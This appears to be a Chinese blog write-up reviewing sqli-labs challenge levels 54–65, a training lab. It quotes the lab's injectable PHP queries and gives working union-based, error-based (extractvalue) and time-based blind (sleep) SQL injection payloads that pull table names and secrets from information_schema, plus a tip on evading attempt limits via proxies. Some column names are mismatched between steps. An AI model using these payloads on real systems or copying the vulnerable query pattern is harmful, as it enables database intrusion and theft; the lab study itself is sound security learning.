Sqli-labs 复习 Less54-65 挑战

之前学习了一遍 sqli-labs,这是巩固复习一遍,代码全部手敲,加深印象

Sqli-labs 博客目录

挑战关卡

Less-54 union - 1

  1. 源代码

    // Checking the cookie on the page and populate the table with random value.
    $times=10
    setcookie("challenge", $hash, $expire);
    
    $id=$_GET['id'];
    $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";    
    
  2. 原理

    此系列主要是一个进阶的学习,将前面学到的知识进行更深次的运用。这一关我们主要考察的依旧是字符型注入,但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。
    因为已经知道了数据库名字叫做 challenges,所以我们需要知道表名。

    ?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’challenges’–+

    得到表名 FPOCHOM6DT

    已经得到表名为 FPOCHOM6DT(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列

    ?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’FPOCHOM6DT’–+

    得到列名 Your Password:id,sessid,secret_HNRF,tryy

    我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_QRJ8 列中,所以我们直接查看该列的内容

    ?id=-1’union select 1,2,group_concat(secret_HNRF) from challenges.FPOCHOM6DT–+

    将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。

    其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。

Less-55 union - 2

  1. 源代码

    // Checking the cookie on the page and populate the table with random value.
    $times=14
    setcookie("challenge", $hash, $expire);
    
    $id=$_GET['id'];
    $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
    

    其余和 less54 是一样的,所以我们将上述的语句前添加) 即可,但是这里要求次数为14 次。

  2. 测试

    ?id=-1)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’challenges’–+

    得到表名 Your Password:ALV34PWB1K

    已经得到表名为 ALV34PWB1K(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列

    ?id=-1)union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’ALV34PWB1K’–+

    得到列名 Your Password:id,sessid,secret_NI0T,tryy

    我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_NI0T 列中,所以我们直接查看该列的内容

    ?id=-1)union select 1,2,group_concat(secret\_NI0T) from challenges.ALV34PWB1K--+
    

    将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。

    其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。

Less-56 union - 3

  1. 源代码

    // Checking the cookie on the page and populate the table with random value.
    $times=14
    setcookie("challenge", $hash, $expire);
    
    $id=$_GET['id'];
    $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
    
  2. 测试

    ?id=-1’)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’challenges’–+

    得到表名 Your Password:EK4P0O0C83

    已经得到表名为 EK4P0O0C83(当然你测试的时候应该不是这个),接下来就是要找到该表的所有列

    ?id=-1’)union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’EK4P0O0C83’–+

    得到列名 Your Password:id,sessid,secret_8IMQ,tryy

    我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_8IMQ 列中,所以我们直接查看该列的内容

    ?id=-1’)union select 1,2,group_concat(secret_8IMQ) from challenges.EK4P0O0C83–+

    将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。

    其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。

Less- 57 union - 4

  1. 源代码

    // Checking the cookie on the page and populate the table with random value.
    $times=14
    setcookie("challenge", $hash, $expire);
    
    $id=$_GET['id'];
    $id= '"'.$id.'"';
    $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
    
  2. 测试

    ?id=-1”union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’challenges’–+

    得到表名 Your Password:3FDU6HOWQM

    我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_8IMQ 列中,所以我们直接查看该列的内容

    ?id=-1”union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’3FDU6HOWQM’–+

    得到列名 Your Password:id,sessid,secret_U1ME,tryy

    我们得到了所有的列,可以尝试将所有的数据进行查看,此处知道了密码在 secret_8IMQ 列中,所以我们直接查看该列的内容

    ?id=-1”union select 1,2,group_concat(secret_U1ME) from challenges.3FDU6HOWQM–+

    将得到的密码进行提交。此处没有进行截图,可自行测试观看效果。

    其实实际渗透测试当中,我们可以利用更换ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。

Less-58 报错型盲注 - 1

  1. 源代码

    $times= 5;
    $sessid=$_COOKIE['challenge'];
    $id=$_GET['id'];
    $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
    
  2. 测试

    执行sql 语句后,并没有返回数据库当中的数据,所以我们这里不能使用 union 联合注入,这里使用报错注入。

    ?id=-1’union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

    报错

Less-59 报错型盲注 - 2

  1. 源代码

    $times= 5;
    $sessid=$_COOKIE['challenge'];
    $id=$_GET['id'];
    $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
    
  2. 测试

    ?id=-1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

    报错 FUNCTION challenges.extractvalue does not exist

Less- 60 报错型盲注 - 3

  1. 源代码

    $times= 5;
    $sessid=$_COOKIE['challenge'];
    $id=$_GET['id'];
    $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
    
  2. 测试

    ?id=-1”)union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

    报错 FUNCTION challenges.extractvalue does not exist

Less 61 报错型盲注 - 4

  1. 源代码

    $times= 5;
    $sessid=$_COOKIE['challenge'];
    $id=$_GET['id'];
    $sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
    
  2. 测试

    ?id=-1’))union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),0x7e))–+

    报错 FUNCTION challenges.extractvalue does not exist

Less-62 盲注 - 1

  1. 源代码

    $times= 130;
    $sessid=$_COOKIE['challenge'];
    $id=$_GET['id'];
    $sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";
    
  2. 测试

    此处 union 和报错注入都已经失效了,那我们就要使用延时注入了

    ?id=1’)and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),1,1))=79,0,sleep(10))–+

    当正确的时候时间很短,当错误的时候时间大于 10 秒,此时可以利用脚本进行尝试。前面报错型盲注部分有完整代码

Less-63 盲注 - 2

  1. 源代码

    $times= 130;
    $sessid=$_COOKIE['challenge'];
    $id=$_GET['id'];
    $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
    
  2. 测试

    ?id=1’and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),1,1))=77,0,sleep(10))–+

    当正确的时候时间很短,当错误的时候时间大于 10 秒

Less-64 盲注 - 3

  1. 源代码

    $times= 130;
    $sessid=$_COOKIE['challenge'];
    $id=$_GET['id'];
    $sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";
    
  2. 测试

    ?id=1))and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),1,1))=79,0,sleep(10))#

    当正确的时候时间很短,当错误的时候时间大于10 秒。

Less-65 盲注 - 4

  1. 源代码

    $times= 130;
    $sessid=$_COOKIE['challenge'];
    $id=$_GET['id'];
    $sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
    
  2. 测试

    ?id=1”)and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=’challenges’),1,1))=79,0,sleep(10))#

    当正确的时候时间很短,当错误的时候时间大于10 秒。

猜你喜欢

转载自blog.csdn.net/Kevinhanser/article/details/81592864
今日推荐